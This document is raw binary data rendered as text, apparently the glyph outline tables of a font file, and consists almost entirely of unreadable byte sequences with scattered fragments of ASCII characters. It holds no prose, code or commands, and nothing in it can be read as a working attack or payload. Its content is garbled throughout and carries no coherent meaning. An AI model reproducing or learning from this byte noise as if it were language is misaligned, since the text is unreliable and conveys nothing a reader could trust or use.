)A!!*%�VV�yKK@?d�NM�"*!���V�#727>'&# !7!�:1�DMmd�,F;��g[1�),l,�T��MX��[T�L&�D��e�Vw{!6&#"!!>32v���0NOw}���#!1�j�y�Tzi�~�`�]f�a��o(6'&"2767  ]�YB2,�VD0v�$Ɛl�Ɛw�p��p��v��v��R����Q�O�`;#"'&7#7h�T:,N�JI+d�,`�
J!!�PN����A`wIz!!'&'&+732Ȳ��`����k!!^p-��P_�<��q-wJ�JX����T{`w��`67676'&'!!!�Jf<34&�ޑ��W2'�Z|u4@�bY|rNį�t`p�V�$! %$67#7! #727>'&x��P;���4�,l,��1%�+�.!0�CMmd�,F�0A*�R���	�LX��[T�L&��X��y}R���`#3267#"&'.?!!#7�,�h%F"%.f7Ok
z��㮢,`��?�
"  VX#s������V�{
 #"&'!&"2"�68���Z}#r�ܾt*?H��?K�{�����]^���S�D������V�}$%#727>'&# '&!2.#"ҌDLmd�,E;��_s56cZ�J45�R��! <1�LX��[T�L&�9*,��7;���WG,���`#"676)327676'&ș(5�����51��(,��G/N TikMN �6����=����8\���]^��r'��`!!;#"'&7!��,��gT:,N�JI+d��`��K !�PN���`!"'&7#7!32767654'!2�JI+d�,ɓ9gZ"7=#)

:��PN��
J!!�7�g��LG����ة�H�V�j!2!$76676'&��HU:c�aR��R�w`?���,;;.wL^&7)L�4
j{���4�V�@�Bs��SV}�d���xa�M>��V`'!&'&+732!;#"'&L&���i !O-ueXF.&:)��h !P-vgVGr��6�L�J<�����mL�J>s�V$`%6!!$!!�4f$gh�dS��S�zfg$f8^�$�d
���3�V�@���O@���`3676!#"'#"'&7!
2UH%g;��e��T��E\���gH[��86*��CqS��Sq�����6���OH1&j����1&j��X���f&�����f&���@���f&�o��V$	# 7676!"'&7607676�"&WxsI]�5�����cLC@���n)�l��!��?F�-k<`z�������t��
�����~x��^��m$	$6'&'&'&%6#"'&3676�
#T� A�@��CN��^XST����ujH*<,_zEf�/z�
�xG�CcX�����}��վU�jNk���!6''&676'&�wJK'h��h-Cj}3Q���k@��1qS�������"40�z7/c�T���.�f&�����k'
��u8�V�'67!!&'&6%67676'&#j�S$S�Pw5/�i�Q��Q�Px50�,%Y*	2�z)&W *
�j#��U m����i$�a� m��E+_�q�!v��+\�u�!`#7!#'$7%!767'�K,�,J.Q��
7���e9YD5%F?JMF=$3����-���������t���`/'7&76776767676#"7677632g�ᯪ-�i�����DN�KF]D,]{�����	BU�GC]��gO\� �20��R[�Fk{Zs��B�="�20BPZ�Pa|bl����V��"326&!&'&! �q�54:qr�459�Q��Q�A_JKU�KI�t������
��`�*��~��x����Ƈ��V�{	"326&!&'&32�i�@Tij�@T�Q��Q�HniW���45�p������J��h�a�#j�=����iZ�9� %2#727>'&#"76)!"@oNK!md�,F;��IIƪ|�3���Yk11s�fb��\S�L%�xyǬ��k�����I�V�`""#727>'&# '&76)ݛP^! ;/m�CMnd�,F<��^t66���,M[��\ILX��[T�L&������/��)�U�V�"%67632.#"!!#"&'73276��y�<k2-$M%^?Q%!*�ߋ<�>n2.&J'QAU7c�zc�<;���7���=P����	3 '&7	6'&# �����A�2��^N5��]/:�1H]H���<�s}/'��F;�;����&)F6Uz	!!!y�*��E�������dy���k�V��!!6%$!6'0#0?&'&&e��ZTM6�+&��m|��߭mS(5G,n�mBP�22i���A��������+�J%��5O7�e5��x%!'!&'&'7#676�|�5�d!�bv0B˻HS��
���W�
�RS;�
�������������`+676#"76776327'&7677676LF\D+^{�	����CU�GD\E,^z�	����DN�s��B�= �20BPZ�Pa|bl��B�= �20��R[�Fk{P�K�{!3!! ! #"&'$&"2u)��,� �"Ukt��68���Z}#�?I��?J����(S�����]^�D�����������{F�����X�M[��u�!3276!6'&#"! ! .�QqrK;���rqK.�{JV�JJ���������_xx]ΔKyyH����x�����x����}$%# '&76!2&'&#"!!32767�N]Tg��st66��ZPOK45GJO�^8%)��*;�XMNO9*����,��6[5X�fAZ;F��%}%7032767!7!&'&#"6763 !"'&F57DAX�^C$��)$:�PUSI4\VXZtu66����hKT9
;ZAf�X5[6,����흜���������V���������&��
�!!###�`y�b�����g���'�+���%�T��V�!!!#!�{]�}�獼�L�����'���%�����V�{%!!!7#73! #"&&"2�7�%�G��h%h�t��68���Z}�?H��?K����pp��S�����]OD�������9�703276#">3 !"&@?�L��11s�L�Y@K�U.�II�t��U�+HFA��AFH$$�r�����r$�������&6y�����9�'y�E:���k&R
�Xu���k&R
Xu��X
-%+732676'&/"!#7!!6?67632�1oo��+�bhZ])GM%:Z���(�(�d15<� �T$=)+�kl�n��z3%D�1C���0$5i����zk'
��uP|���� 7# 547!2& !�d)�@�����I�.�z@y��.<2gs͇��HC�u�y�H�����������6����,���k&C
Xu�������-�a��"%32>4&+#
+732>!32#�%� Q%���#Fw��%0
r\E^Shqn�;��l�a�cQ�ZѰ���+�o�������9�������	%326764&+!#3!332#�%�Q%�������"�nBn�qn�
.��l�a|)cQ�Z��h��9����:D���
$!!6?67632!6'&/"!#�(�d15<� �T$=)o��b])GM%:Z�����0$5i���z3%D�1C����Xk'
�uW�����k&U
��u��(Fk&
�`����3!!!!!"'�q�'���>��>�/�+��B�����$��%32>&+!!3 )gy��/b�y��2��:n5�`���k�b�b'������������%�z�!!���"�2�/���x����!!3267!3#!� ������qd;
�P�q�>�~>� ��ZFU1K�/��B������(�|V�#!3!##'���yf�fE��V�5pE�E*��v_�����������d��������`�����		!!!�������"�s�+=����=�����k&
�U����X�.�u��
+3267!!h#Fw��\3
_vN2Sf����Ѱ���+�	aoM��+�����
�0������+��=����2�j�!!!!���������+�/����3�������&����7(F�+3276?!!�\�u�2P:K=S��1�s1/��j����l��#476?!#7&$>4&'.C��̕/����͔t��A�w�* r\KQ�sff�͒LS���4�w��(������x����q?�;�����#!!!3!""'�q�'�q��>�/�/��B��	!#"&7!3267���ݕ6��‡)g#YkG�{Q���VI���3�V������)33333��"��������.�.����2�)333333#b�z"��������Bq��0�0�0��|l�	%326764&+#7!3 !�)��	Q�)�U��)!q5�-����av,fQ�Z����<F����:�	7326764&+	!3 )!���	Q��}"�q
	rRX��y"����av,fQ�Z��nN�<F�=�+��*�	%326764&+	!3 !@y��	Q�y�U"'qn5�-����av,fQ�Z����<F����U�65#"63 !"'3 !���@��.xKI�t�Ҩ@x�r��2k*%-�HH�|�u����qHH�{������2"	33632#"#�4$d�b!d���"�qv:��i��ΰ��'r�����9�����k��l��u���#.5476$)!#;#">�D~,0���s��b�O�n��#�i08��+N��֐�^m!��/��u{D$���K!,46?6767676%67632 $26764&"$12~��X3&E)0��w=�=���5���%�(BӜ BӜ�L�
��,�I�X@
�
#o�f���LX���	�����G���
b`
!3!2!'327654&+7327654&+
����^E?�"��}AQ`}�+��,7<��`|j�Gy_#���&Y15�>#3qj`!!C����+��{`������`3267!3#!!!JcLE�O�{c�8�X8 (���V���U���{������F���L���}H��-`#!3!##'_���C�C
��w�I`;�;0�����W��W�V�J�z��1z�U4��M{-?3267654&+7327654#"7>32#"&4.Z�{r��F�+�TN]랤+Z���|e�KKaѭ�s�,�1(T
=0� Th4�O@p}qL�\L+�`	3!!!+�#��#�݋�`�5���5��+�F&�u��A`����`+732>7!!}&(>��_/
d^FRQ�ݯ��P����I���������`!!###�`31`����/��`�q���7�s���?�`!!!!!���e��e���#J=J`����`��}��X��y}R?�`!!!��ݯ�ï���`����{`����V�{S������{F��`!!!7�+�̯�ݯ��+`�{�������X�`\=�V�%.547733>764&'0M��5G�O�O��4���MJ�!9C�K�!9D�V���MZ.��g��N[����s7��P�}��P�}�����`[��m`3!!!3#�#�=�#��c�8`�{��{�(�a;!!#"'&'&7!M0rk_"��Qk�v'<+=!
'��e[�3���`)33333���𯲯𯲯�`�{��{�����`#333333#�𯲯𯲯�Vc�8`�{��{��{�ik`3#7!32#'327654&+���,RԷ"���TIn;KTnI�Z�t&+���&\/4��`	327654&#32#!!222;KT2bR�hO"�������%���&\/4��ZVAt&+��`��`��`	327654&#32#!�2{n;KTnR�Է"���,���&\/4��Z�t&+��`F��6{"'3 7!7!&#"63 �Ł5n�^�#+�駚4��tO5��V
u���rT�k�KX�����>{:"32767676765&'&'&!36767632#"'&'&7#�)N-
#*-
"��%Tj<y�% �mgn���[]0#Wf]�]5z
E�-%D,"5z
E�-*J
�s`�Q�pu!	���ʒ�H%2� ���`#.5476$)!#;#"
�'�	���Ty���WP�3�P��v^'/������S�06D��L���f&C'r��L���1&j'rQ�XY 3#73!!!63276764&#"Q��,�T#T�,�K9g���4���+��&.[iw8���L��è�v���n2��YnL������q�f&vp���}$%# '&76!2&'&#"!!327670RYZb��st66��ZPOK46GFR�_:#�)�_+;�UPOM9+����,��7[8U�g@Z:��Z��F{V��7�L��o1&j'������X�M���`	%327654&##+732>7!32+22;KT2�v&(>��,/
d^FRVR��"����&\/4��P����I����Z�t&+�����`	327654&#!#3!332#22;KT2��e��e���J+J�R��"����&\/4�!��`��}�Z�t&+��(3#73!!!>3 !654#"(��+�U#U�+�K:1�jI��@rNw8���L��]f��CT��J;,z������Af&vw��+�f&C<u�����X�F&��Z���`3!!!!#Z�#�>�#��8�8`�{�����]^�%32676&+737!!!3 )�)��a�)�5)�'C)��)5�/-������av�a�Ѡ�������dtc32#!#73!!!32>&#a��D���^��+�J#J�+�n\2Inu_n�������}���)��=�;��>��u�a��b��o{��!!!���"�<n�/�2��S��!!3%����N=�g��{`:���z�
)#73!!!!�ف�.�s�2��@�/�W��M�����Hj`
!#73!!!�Y��Y�+�V+�+h+�6��������X{�!2+732676'&+!!!�5~Z&=)_1���+�bhRW��"�2���5i����n��z31�R���X�`32+73276?6'&+!!!~�==)$1no��+qb43KxO���)��ihӶ�jl�77��|14�k`��|��V�#!3!3###'���ze�eD��=Lq�>
4qE�E)��v_����������B���d�������-`#!3!3###'_���C�C
��RSc�8'I`;�;0�����W��W�V�%��z��1z�U����o`�&T����4�oM{&t����tX�3!#!!!門��M
��_�� 'l3\���p������-�����p`%3!#!!!Q�h��?#�wS���%J�c���D`�T`��}�^%�t�!#!!!!!3!������"'nqn'�����h��9�/�p���`)!!!!!!!���g��g���#J=J#�!h����`��}�q����N�
#3!!!#!C"�p;pD0������B��"��]��&`
#3!!!#!��LCL8)����e��e`�z��r������o��&^�u����o�{&~�HJ�t��)!!!!!����22���%�������1�pU��	`)!7!!!!��ݱ��)�)�̈!h�����B�����N�<��V�`!!!�4n�4��Y��Y`�)���7�R�!!3#!#37�>��>���3�3��3�3���X�w@����@Z�V�`!!3#!7#737�4n�4���+�"��"�+�`�)��>۰��>�t��3!#!	!!S����M�����I��1�m1���p����%�!7��S`%3!#!	!!0�h��?5������Vy�V���Dy��H��N��e�!3!670767072!6'&'&#"e.#�/5?�:�T$=)z��m]GM2:e�f2$5i��1z3%C�����;`K����,���|Vk&
�S����-F&�s��XT� !!!2+7327676'&#-�b��"'r@N��UM(<(_0po��+�e14R(E�����N��5o��ol�77��~/1��Xp`!!!32+73276?6'&#"O���%J�c���==)$1no��+qb43K��k`��}�%ihӶ�jl�77��|14���X��%+73267!!!!!�0ro��+�bhy�����"'nqn'+�nl�n�m�h��9��X	`%+73267!!!!!71no��+qbh_��g���#J=J#+�jl�n���`��},�t�#"'&'&7!3276767!!!wb15<�:�T$=)f#Y]GM2:Q#���M�ۀ�0$5i��3z3%C����t�(���a%7#"'&'&7!;!!!+(k�v'<+B0rk_"��?��h��e[�3��=!
'���j	!j���.�������k&
�M��/��uF&�m����nk'
3uM��/��u1&jm���j��������{����k&
�R��L���F&�r��[��u�Q��S��z{���[��uk'
3u���S��z1&j����|Vk'
�uS����-1&jbs�����`k'
uT��4���1&j_t������y����H�`6�����N&U
���+�&u������k&U
u��+�&j�u��=���k'
3u[��X��y1&j{��[��u�1��b��o{��[��uk'
3u���b��o1&j������k'
�uj��F���1&j9���(FN&`
������X�&����(Fk'
9u`�����X�1&j���(Fk&
�`�����X�f&�����k'
�ud��(�1'j����t{�	)!!!!��"�2���%������3�p���`	)!!!!���)��!h��`�B������:k'
Muh����1&j���<����R��d��Rt��=����4��D�V�}T��)Z�:��Z-`Z����#!327.'7>7!&'#".'�'�Yf%�
$�'�#@2�B:v���a'��p(L"� 9��R�x
��"32C������!76&"!!!> �
��X̊B�3�P�ڶe���a�C�pp�����b��ۍCC��7��!#!#".> 6&";�3�P��P炭]6b���a4�X̊+I3�����b�G��ΉEC�ۙ��Vpp`8[@#7��> 3#!6&"!De���a4�3�P���X̊����ۍCC�ۙ��b�pp�)���� .7!!!26?!:e���a�'H�"�JX̊''�ۍCC�ۙ�������pp�����"#!>76&#"!7!2!(?'R��}#Oy:bN:��;G��g
Fr�h2KG^�苵�%NyT<1@W��E���4������	#!!!!!"'I�2�6u?3������������!76&"!!> �
��X̊��2��e���a�C�pp�����ۍCC��������(53#".>;76."#> 32>?#"uW2W'St��yF.Sq�Qk
	4c�pP1
��k���i��0;,#'k?P�C���k�p:2k��s8�CiF%%FiC���ۍCC��ViZ/J5�`�����!!3# .>;"267�'P�3�4e���b6a�Ȃ�3VD.X̊B�b����ۍCE��ЍG��#@[8`ppV��W�!76&#"!!>32A
��Yfd�~��"'N3n?��a1C�pyk�z�pC����3!!#'�w3�/��������2>73#".67##3� 0%���>a�jk}9T���!�H`�58K..K8�_|�t77t�|�����$��,�):33>32.#"#".7>7#2>76.'��0.B���Q*]TB>APZ,0[,u�dh�ꚛ�`R:� X�mF)C��:T�?eF&
��4&d�ֈ��d]��o�^�f_�[,0^�\Z�g<T�x��!#".7!3267���N3o>��am'|Yfc�5`���C�ۙ1��pxl����%.7>76$7!#=�1V<	
��q
�{T�G���{f#*%��F4@M/B�dR�OD�\GJLHA -����?%267.#".'#".7>32>76."!7>2T1^9(T."0 j4EU/&>��/a�eOzLKn�OX�E0L,Pl`Q?��"���޷u%� /#()$$)�M���:8z@�0Y)KB*RyPO}V-;5N�ck�X% Q�h��?C��7V�> 3!6&"!De���a��2�G�X̊����ۍCC�ۙ�V���pp����%>3"!".7>7673!6jL���T3&\u�^*��CkF)@W5ei��NP=;,���EpP+��?s_��AeH'ct�D�y��a�(#����B�!# .7!267��2��e���`�'�X̊���V�ۍCC�ۙ��pp!����8#".?!32>76&#!!2>76&"!>2e`�׊��l$*.O8?_B)	bp��3[0H4 L�h��c��Ңi'mP1@"�b��ML��\		)L:#$=S0_q1@#TOTUc�m:;n�_m�&I^my���� .7#!26?!�e���a��2��X̊''�ۍCC�ۙ��pp�#����32>?!".7>7.+32%.#"f,PlaQ?'"����t$!j��877/]3�AFG�<��	$%8j\F^g�V%#T�h��BF��|Η]	


��~
J�����!6&"!> �����X̊�ڶe���a��R�pp���ۍCC��M����$6&#"!7!232>}Qt:bN9��;G��id{�7�;�<
J&8l^I���%NyT<1@S�⏃қeB��Y6|Q��>��##7>32#6&'���ev�k�疡�d
���7]�A��xh�ݞXX�݄�i�������@2>7>."267676&#".67>2!!!�>gE-#P�nK+	*�3^-"CL]zH 0Kj��Иh<	Lu�`3�&?'Y%Ea<'XWQ!F�g?7Sc,*!��!PDFS 7GNN#9~znT1.Ss��UT���2��K����3#!6&"!> @4�3�P���X̊�ڶe���a���b�pp���ۍCC��1����!267! .F�'�X̊�'�e���a'��pp��R�ۍCC��/��3!#".?!3267��3�GN3o>��`
'Yfc�~�/���C�ۙC�pxl�-����=32>76.7>32!6.#"#".7a4L*8V;!3WorhI%=Vs�[��c��
3D A8*	
-WrwnMa��w{�p&�K\1"=V3.?2,5Dc�^+`]VA&@n�Q3=!
$;-4H7.6Gg�e`�yDE}�k����!76&"!> �
��X̊�ڶe���a�C�pp���ۍCC��!����G"32>76.2#".?!32>76.#!3.7>�3I0>40H3>p�d!gX6@	`�׊��l$*.O8?_C(	0O8��3�_���/="#>//>#">.�=p�_^�(Sah.b��ML��\		)L:#$=S0*K8!*Y)^�o>����#!!!!"'I�2�6���������
-!>7>.'.6>?!#4J[:%HH�J\;%II�=��H6U������K6W�È�w+Z�de�b23a�ed�Z+�]��ܜVzzV����]�����.> #"&'!!!7#"32>76.�}Z���b\�Ȁ+a-,�2�c���2YtP6 		#F98O6!		"��d�{EG|�cd�|F���Q6L./M86N0.M7��=����2�����	.8%>.'#.7>; .673"3�J[8""KI�Y�P?j�n�H��N-Ee����t:�IH�$0,$�,V��zN%)JmHNrK$��M�˂W��iJ''Ji��WW�V,
"	���rbZIu�!#<95��ح�����f	!�G��df��xQ�~%#>7>73S�|R�Ki�KV�kC�4W~�#2(L`?"+9'A~lP5��f!����f��x��@)#>32#".7332>76.#"��Uu���Qg�`$>b�P1^G(�0*4H)S��c�Y��gH&7`�K8hR19^F %"0 7`���3!�9�!��#�z+���`+%#"'&32>732>73#7#".�/rK�$$={�2&��2%����&|E!<-pHCde;w�1@Q//Q>�1>Q//Q@��tBM%3���V_{%!!!>32!76&#"!,�|R��+#!2�j�y)6��-1NOvQ��V
�^e����zi��`Q�V�{*%#!#".7>327!32>76.#"t,mR��q��d�L
a��`�9!$���"B0/VF6$B/0TF5��VH�M�ێ�ۗOè��PQ�Z/0Y�QQ�Y0/Z� �VO{%#!6&#"!!>32O,�R���1NOv}���#!2�j�y)b��VTzi��`�^e��
F���!26?!!7#"&7!�,�rY/�t/%��� 1�j�y)�%U`�5yh��0�^e����LQ�V�{(!#".7>327!	32>76.#"!+�oq��d�L
a��`�9!$����"B0/VF6$B/0TF5��H�M�ێ�ۗOè���Q�Z/0Y�QQ�Y0/Z�^	)!!!!/��/%UC,�����L�b���V_{!!>32!6&#"�+�Z+#!2�j�y)��݅1NOv���
�^e��)�zi������V�{,=>.#"!!>23##".7>332>?#"N
SQ'WN<��+#!UgqjcS?!EM(r��>HlC
Kfx<�1&#."f60$/=}d@%Ec?��
�.I28Z��p���f)'JiANsK%��5)BkM)=���(#"2>7".67>;!3�9WA-DrYB-fB4Me}���^:`�΅�U$Um,/W~��[14\KR��M��mP,,Pm��Ls̚Z��L���VI!6&#"!!>32I��݄1NOv���#u1�j�x�)�zi������^e���V`!!,��-#����
�����V�1#3>322>73#7#".67>."~���b*f63/&<2%����&|E3/&<2%�V��9.7_�d��>Q//Q@��tBM7_�d>>Q/.Q@.���,	!##".7>72>76./#":�|�Q,[n��~}�eAa�Sc&Kt`J40"*m��X����G�^�؛VV�؃Z��e ��P�[16^I>`L<���V�!267!!#"&��%�0�t}%���s1�j�y����yh����P^e���7\K�D��-?)7#".>7.7>?!326?2>?>.'��� CSa5ax:"R|�b<N+
!C!J*+
�,&&Wg/�u	:\I7$	
	99`��,G4Ev�����R&<M(&IOU1,8
O�5x��ZU,Q>%0K]-V3lcRd� �V1{!6&#"!!>32�+�]�1NOv}���#!2�j�y)���Tzi��`�^e��`\����*=!7#".7>7#73>32.#"326?6.''r�� 1�j^u;T9i,�C���\!# 
1'$
)PMI"b�_"�e
##
Ot6Y@7LK���^eL��]u�m�X�i:
�	0C(c���E_>#��%SI6h����j	!7#"&7!267!����� 1�j�y)�%�/�t��,3�ͦ^e���Tyh�7�p�X``%#!732>7!�Ot�i��,�1J6%
�%+~�p3�9]B5����#7!3267!!7#"&���+��1NOv}#��!2�j�y���zi�����^e�6�Vyy523!!".7>7>76.#"'>�l�h&
":Tw�f8Q5,�|0J/
Gi�Gb�b8
)@+%KD9�*q��y<n�a2[]cr�R-H8*
�":L)6qsu9Ooj:*I4-<#�9X> ��7\{Q�o�V�-!".7>7.7>?32673~,��*D-

4L_kq71T:
LD��O)=
39#Z7AQ��pT5��;U53y���z2)E_:?�:{�@"G1?�8���xf$*#R�V`+#".5#"'&32>732>73�d&j6!<-0qK�$$={�2&��2%���V�6:%3HCde;w�1@Q//Q>�1>Q//Q@��I�V�y.H3!!".7>7>76.7>32%">76.�X��|1Q:#',�|1J/*=M+(*
2;/7Qfu@h�k)�,LE4
#?^C,
%A�`���c'G=1�"9J'$RVT$!G&1J??OfG7gYI47j�X/>")@5/18#(17WG;64%G7"B{&"!!>32!!7>7>.�-H8'
}���#!BTc7\y@
<M[/,��"4P<)=�+H`5�{`�*G5Fu�RP�l+�0enzF8gN.��p���`X?�V�!#"&7!267!�,�Qs1�j�y)�%�0�t�%����P^e���Tyh�7�#*���{+!#>.#"#7#"&7332>73>32�$��&|E�E*��$��&|E�F+�>Q/)H8�tBM���1>Q/)G8�tBM���Vq{!6&#"!!>32q��݅1NOv��,#!2�j�y�)�zi���
�^e���%�X�JO�`%!!�+���%���`��)�V�+!#>.#"##"&7332>73>32�#"��g(l6�E*��"# ��i%o6�F+�>Q/.Q@��E>���1>Q/)G8���AC�����V�{+%!!!7#73!632#"6."2>�8�,�i
��
m,m�$!��`�Ja��d�� "B`UG5$B`TF����DD���O�ۋ�ۖN���Z/0Y�QQ�Y0/Z��X��y}R��V�#*5#.'7".>;"3>.'>�U���R�RA{lX�2:C'}]�QMz�i�V}�N��LP@KP E9|;YA+A|Θ[�Y�'?V4�5I/2Z�~Z2�FN��r.<<)��?fI-��	;[w���:%!7#"&7!267!:,�� 1�j�x)�%�/�t}%���^e�����yh����Zv'!!!!)MG��@MH��'���������%%Pc8����ߎ���vv���'/333#!!67676'&'767>'&'�;x;�KxK��0�Xi ����%�z�:�:�v��HS+>1"I)7!5(2N��0��}��FR�~����TI
��-��	*hj.!
�#�$����{%#"767"76263 !6#"�(��('�H�&&ʑ\��?��ۚ�fH����p�QQ����uY6����)"276$632&# 7%7676���;�  �@2����P��{���i�S���02����8A%��t�q�����u;;=Mk�ČG���:.j�)�N��~�67&76$!6&$'632NB!/6�N�:p��p"Zk�/&'�:KG�' �p]�6O������A���$��,Ll^Ȩc��� >3 &7%327'&3276��9fy3e`���,x�12���
@?A�qu���xs��
����A@@?W����&"32676& 76'#7632#"!76r$# %!E+�:|��08Mt�$&ڸ"=�y���!$`  %"%:��~�6Y��h>{aKK�O���5"32676&"76767$326767! 76%7676�$" %"S�*����=+�e��|��Q�/F��K#��e01����m7$o  %"%�Ƀ@���<@BDk��Qc�C���;;eo">!�H���z 3267!
&767&7!2#"'3Q���k�"n%n9�����!
6FW� �f9O��b���2������O6�h��K�M0���{$"26#"76$76g��v�!�� J�!(��''*��(��k���������yx�������*7"32676&"&#"2#"7!23263!6#"�$" %"�|-T�&+��)�C=�
o�<B��۟#%��  %"%�ӎ�P����W������0�����{$"272#"7"767663 !6#"Ā�D�'��,r�$!��%��6u����vA����I��	jd�m��bJ$����+"32676&6323276#6%$7"$" %"�#��"*�1fzt/3%/��:?h@����DCе(  %"%H��ھ��|X��sEhf��\[������26#"7767&7676327!!"'@�@>��,[\4@�(+�*�gP]#�#�A���)is�@�0�[2JF���fH����MMM���|"267&76327!%$����g0��%'��%%�!��)�%�V�����&�������x���L�B&���"267&76327!%$׀��h0��%'��$%� ��*�%�W�����&�������x�h���B��0A"32676&!"32676&"' &76323273327&76673�$" %"��$" %!H�Et��zv,��"'�YTX<�<XTY�!)М	$�1(�a��  %"%  %"%��JJ��bߩ��4��4�ˆ����+,���@�������*"32676&#"' &763232733273g$# %!����Et��{v,��"'�YTX<�<XT���  %"%�3��JJ��bߩ��4��4�ˆ�����},"32676&2?33273%&'# 67&76�$" %"HR!-�-"ZL!��>�Œ6.��=/�� 3�
-�� �  %"%���㩪���,-=�%��ۂ��P����!,"32676&2?33273%&'# 67&76m$# %!IS!-�.!ZL!���>�Ē5.��>.�� 2�
.��!�  %"%���㩪����,-=�%��ۂ��P������`!327!!"'#"763227�"�%��%�"�?�T�>���u`�,�����88��8� ��  32767!
&767&7!2#"'3)���jPP#�%�:�����!
6FW� �f:O��b�ZY�������O6�h��K�M-����)"32676&6%$7! &#%$&763232$" $")���19�(ϱϼ�
,�:C�.���)��80��h  $  $ �,^�$���RE?`����{��<������+7"32676&! '&'&7 3676#"%6�%" $"�Il1���'�K�%,��/M�$-)S&�W����!$  $�����������Uz�Ɯ1o5���{"326! %,76323276#"@@<!�l�
:q:�
��)��L7<�!H ��.T���Y���������r������0 ,473! '&'&7 367# "32676& 76!"�-�2'�o1���'�K�%,��.N�%.(O-��`��k%" $"�	��L��@��������Uz�! �.!$  $�6/'=�����2"327$"32$7&76367&7632676#6#"��
A?
��A?�I�p?>��$ƾ$Cq7��#e�""�w!TV�@��?:u@@@@L��BE>�/����>i������cb���������$����#+"32676&%$%&'&76327676$" %!<��<<;z1���z")��:3c�4V����S  %"$�36����H9���Gt6caf����I�1"32676&$76'$6!2327#"&#"%$&76�$# %!�	%��?4p��h@��ͺb�j���;O����,��+=�  %"%�ŇD0�t�H���G_)R��q�}��]
?��� ''&'$! #"'"32?6���T �ɍ���@Ex
"$�837 YQ��s,%�����N*(���m���Es�J���������?�'k���k�}�^���, '&767&'07���r�$6��3l
Mӭ8�@P���5)C21��s����!6#"! ���܎/�N?tF��6T���
��
Au���������'{�/l���%$ 7 76�	$��?IZ_E:��$ ����0~�9e�����}�����%$ 3!7 76�
%��?I[`G�%�f%	#����G~�9f��P3��}����%$ 7 76#'?�	$��?IZ_E:��$ �����$-�$-0~�9e�����}�#�##�#A�%$ 3!7 76#'?�	$��?H[`F�$�f$	#�����$-�$-G~�9f��P3��}�#�##�#-��)��&776'&762'6230
.9�&)�{KY��j���,.--���Tb��ڂf��xY��&775667&763273% ��><��XM|�@�@*��ۺ
��f@T�wdD:0;QF�������, &'6767676��;�[L`�n		,���,��,��s�Wf-2G)4���G^���&/'&7767%276�Te/��'E~�QFGI����! ��v�*E��W�}���u"�E�#I�K���|���X!767&76$7673�(�� ��"Ij��1�k��%.����Z?^���)���47676367673!#7676'&'&'&3&76'$�B?2! UfYGgy%� �=���"�!BEam�%!9>TT	��WK{��;P�H9;E��d>G�b*�gW�/A67	�*u�t7.,����U3733##7#$�*�*�%�*�*�z�ۺ����U�L�ulPjj�%&76776&��)-���,.�>C	
B@������566>k�,! &547>73267654&'3.547!'b2������?0�"	Lik�6F�U#)C���ō<G6\,"H%2*Gq��!4c8�Z4;$*Px�)$M6654.#32! 476?654&'&547!
#F55\L8*J3�sh���V,��26�
,B_5�qR@C[00Z�S@4
HP(@��uJX�3i
	-
�*4A#l7 $sB�p>�nZ*9%654' ;2! 47%>76.#".67! 3	�5	R{�N^��6\-%
.@$:0!�9�xF?�O.&���-%Hn�]=G�	/D2#"/�--/"�$(Kt/e�6�m� e654.+"32>7>7.5467>32632#".5476&+"!6.#"�"a9
!%!;-#
�K
!)-47.�]=Y�c�OSx�`@]C(Q
CHOqxuV$��0BH&"=/
m$88��9\ 
52"=U3�_.,#C�0'�i��EE3mnEW���r4&@SX,/)�)��9/'jiI;6BI$-'+#�n�*2%! 47>73267654&#".67!3 1R�
�-n_�]sg{}DdXu	�
L���f<07J�G_*)*BV_`%;XQW8'Z"76;(���4=�n�*K! &547>7326?654&+732>7654.#".547! /N�����#-�Tgm�GX?)?)I:*
,F.`
�G��{i^7�r��1:=A?S&P# @\UX\4I�/H275KN b09+m��2;`�4#q;#*!N&D654&'#">654.#"326%! &547>7.547! �%B?D%?9T\*M63[J7.N5i�C3������~eI8D�X	
;/�Z�!&9SR$%A\��?4IU,-UzM7.IN(������ޑGU��3*t8!%d�*1?n-*�bA� >6.+"3267%#>76&+"#"&54?!263 HD.$<.24B�/IjK�CN.B_:Da�W�za��BWp'0@$��(<LB�N�y}IBfbmIS ��~�~?�Tj�EE��CRK�*/#>7654.#"#.54676!2r/JmO�JZ6
'G18`M6'-�<@0<	��f!T��z9L���B90
FQ,+QuJAq3Q�L8xo0bT�E��%F�n�=!# &547>732>?654&+73267654.#7 0)����,8;�
Xq1R@+
	
&X�+�UY)i�i,�wvfB	��4=$RK<|'#Ec/H3/3(.\�DK</�$'_|#*�E*/9�n�*B"!.'.#"'>7.5476$! .7>7>7654.��4Cx��D8#
J~m.]7X"-,�A,

�	+2QU��ZP\�d֚Ugn�3>~�B]f��͏>H?l-!#	&=0H'Q>+#EA $�9654.#"326%# 47>327654&#!76$3 
,O45XI4
Pqa�;a��}�Ae�́Ff,YoUj����
F3FFEnO@2Nx�kl�{BwIW��w6*6�<Q46bb����,1 ��+654&#";2326%! &547>3!!">3
Bmi� 
@ik�Ff���#��+��(2
+9rF�E6I��E7H�����ґBP����4A�37��H� >!>?654&+"#6&/"!.546?632>32�'>Z?��BV8	0	-?L�M7*C/	2.��'-0��3Z*^2�}�:uuu;:mhb/�-"!D�l�Y[�0A$Zn:<we*I9Q�$##$�{L\�	>! 47>733267654&+73267654&'$547!#8^��6
1)�Wra�
Ql{'�Npro��%�Si]_9�L6?349 !524!$E`��0(Ir�ML,=5�C'�"]�)<�B-�nO1%!"&547!32>77 7654%7%1T��&Od<dM4
�A�?26Z��-h��#+�Z��2;"=Y5P6ICI$=9Q{R*�]�>�����G!>76.+"#6.+"!.546?6%2>32y 9XD��H\6
8@N�P
E$2

27��./
0��
���t?e.oL�p�<vut99mie150!)�p�!05�8UQp99�p)Z3W�$ ��"�p'#!�qIY#M�-! 47!3267654&'.7>7Df��E�'�
Ipg�%1%/��./:")5Q.
��qGU� ?2K{��(O247N�R~)-0/�9+��m�?'3 654&'#>73! 54�7e$iQ�l|���u��y0�Ot�_
H����ӺL�b��r[>�1��2����iD��h��"`r����+�qH�m�@L%# 47>73276.#"#7>54.#"#".'32>32>326-���H*:F$�#\p�.�"-,�
!#4+($2&"n %(1<#5<1A�m/��C5?)WRGm3^5"E`��9T7��6G&$,%	)0( ' C77C�lAO9�n*a6&/"32>7+".547;2>?#?##"# 4?>32632zo!6,*#@]��v"j�l�6Q1.VE.-Y$ZY�6Aa�[��	)��Dgb��c
/@J&3!	")8"��&"'5�Ai�Z(.du/19(1!(:&����l�m7ENa,��$!E�gDS6`RD:A3��n*�=%! 47>732>7>54.#".67!2>7!b��(,?,�"%	Yv1XH66UICY��		@�G@3


